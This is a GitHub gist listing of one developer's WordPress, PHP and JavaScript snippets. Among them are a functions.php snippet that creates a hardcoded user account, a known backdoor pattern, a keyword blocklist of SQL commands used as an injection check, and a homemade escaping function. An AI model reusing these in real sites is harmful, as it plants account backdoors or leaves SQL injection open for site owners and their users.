Skip to content

Instantly share code, notes, and snippets.

View wilnaweb's full-sized avatar

Wilson Cavalcante wilnaweb

View GitHub Profile
@wilnaweb
wilnaweb / gist:c09f3fe83c8dda3350c50a910bfdf429
Created February 22, 2023 18:07
JavaScript QueryString Parameters using URLSearchParams
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const referId = urlParams.get('referId');
document.getElementsByName('referID')[0].value = referId;
@wilnaweb
wilnaweb / RegExp.js
Created February 16, 2023 13:58
RegExp search JSON by key within prefix
var regexp = /(?:\"PRE-)(.*?)(?:\":)(?:\")(.*?)(?:\")/gi;
var json = '{
"KEY 1":"VALUE",
"KEY 2":"VALUE",
"PRE-KEY3":"VALUE",
"KEY 10":"VALUE",
"PRE-KEY4":"TEST"
}';
@wilnaweb
wilnaweb / function.php
Created July 22, 2020 21:52
Wordpress - Remove Item Filter (Footer, Head, etc), with Object
function remove_anonymous_object_filter( $tag, $class, $method )
{
$filters = $GLOBALS['wp_filter'][ $tag ];
if ( empty ( $filters ) )
{
return;
}
foreach ( $filters as $priority => $filter )
@wilnaweb
wilnaweb / functions.php
Created July 7, 2020 19:06
Wordpress - Update E-mail New User Notify
function mb_wp_new_user_notification_email($wp_new_user_notification_email,$user,$blogname) {
$newpass = wp_generate_password( 10, true, false );
wp_set_password($newpass,$user->ID);
$message = sprintf(mb__( "Parceiro, seja bem vindo a Brasil, abaixo seguem os dados de acesso:" ), $blogname ) . "\r\n";
$message .= wp_login_url() . "\r\n";
$message .= sprintf(mb__( 'Usuário: %s' ), $user->user_login ) . "\r\n";
$message .= sprintf(mb__( 'Senha: %s' ), $newpass) . "\r\n\r\n";
$message .= sprintf(mb__( 'Caso tenha algum problema, entre em contato com o suporte através do e-mail: %s.'), get_option( 'admin_email' ) ) . "\r\n";
$message .= __('Brasil');
@wilnaweb
wilnaweb / wp-acf-dynamic-list-select.php
Created July 7, 2020 18:49
Wordpress - ACF - Dynamic List Values (<select>)
## ADD Result search post type in select list ACF Field
function mb_acf_load_produto_negocio_field( $field ) {
global $post;
$field['choices'] = array();
$field['choices'][''] = "Selecione o Negócio";
$marca = get_field('produto_marca',$post->ID);
$args = array(
'post_type' => 'negocio',
@wilnaweb
wilnaweb / guia-seguranca-wordpress.md
Last active June 19, 2020 22:37
Guia de Segurança - Wordpress

Guia de Segurança Wordpress

Este guia é um passo a passo simples com o objetivo de aumentar a segurança do Wordpress afim de mitigar possíveis problemas conhecidos.

O ideal que a sua implementação seja total, mas é necessário avaliar cada item individualmente afim de verificar a possibilidade / recursos disponíveis.

Para a implementação de alguns itens será necessário acesso total ao servidor via SSH, ou painel de controle equivalente, como Webmin, ou similares.

1) CND (Cloudflare ou similar)

Recomendamos o uso do Cloudflare ou CDN similar com o objetivo de evitar e bloquear possíveis ataques DDOS ao site.

@wilnaweb
wilnaweb / function.php
Created February 11, 2020 23:01
Check if exist bad words blacklist in string
#REF.: https://stackoverflow.com/questions/6284553/using-an-array-as-needles-in-strpos
function striposarray($haystack, $needles=array(), $offset=0) {
$chr = array();
foreach($needles as $needle) {
$res = stripos($haystack, $needle, $offset);
if ($res !== false) $chr[$needle] = $res;
}
if(empty($chr)) return false;
return min($chr);
}
@wilnaweb
wilnaweb / function.php
Created February 11, 2020 22:57
Check if exist sql command into string
function existSqlCommand($param){
$notAllowedCommands = array(
'DELETE',
'TRUNCATE',
'DROP',
'SELECT',
'UPDATE'
);
if(preg_match('[' . implode(' |', $notAllowedCommands ) . ']i', $param) == true) {
@wilnaweb
wilnaweb / function.php
Last active February 4, 2023 02:53
Alternative mysql_real_escape_string without mysql connection
#Function
#Refer: https://www.php.net/manual/pt_BR/function.mysql-real-escape-string.php#101248
function escape_string($param) {
if(is_array($param))
return array_map(__METHOD__, $param);
if(!empty($param) && is_string($param)) {
return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $param);
}
@wilnaweb
wilnaweb / functions.php
Created February 6, 2020 23:01
Add new wordpress user with functions.php
## Add code in functions.php
## Define user, password and email account
function my_admin_account(){
$user = 'myuser';
$pass = 'mypass';
$email = 'myemail@domain.com';
if (!username_exists($user) && !email_exists($email)){
$user_id = wp_create_user($user,$pass,$email);
$user = new WP_User($user_id);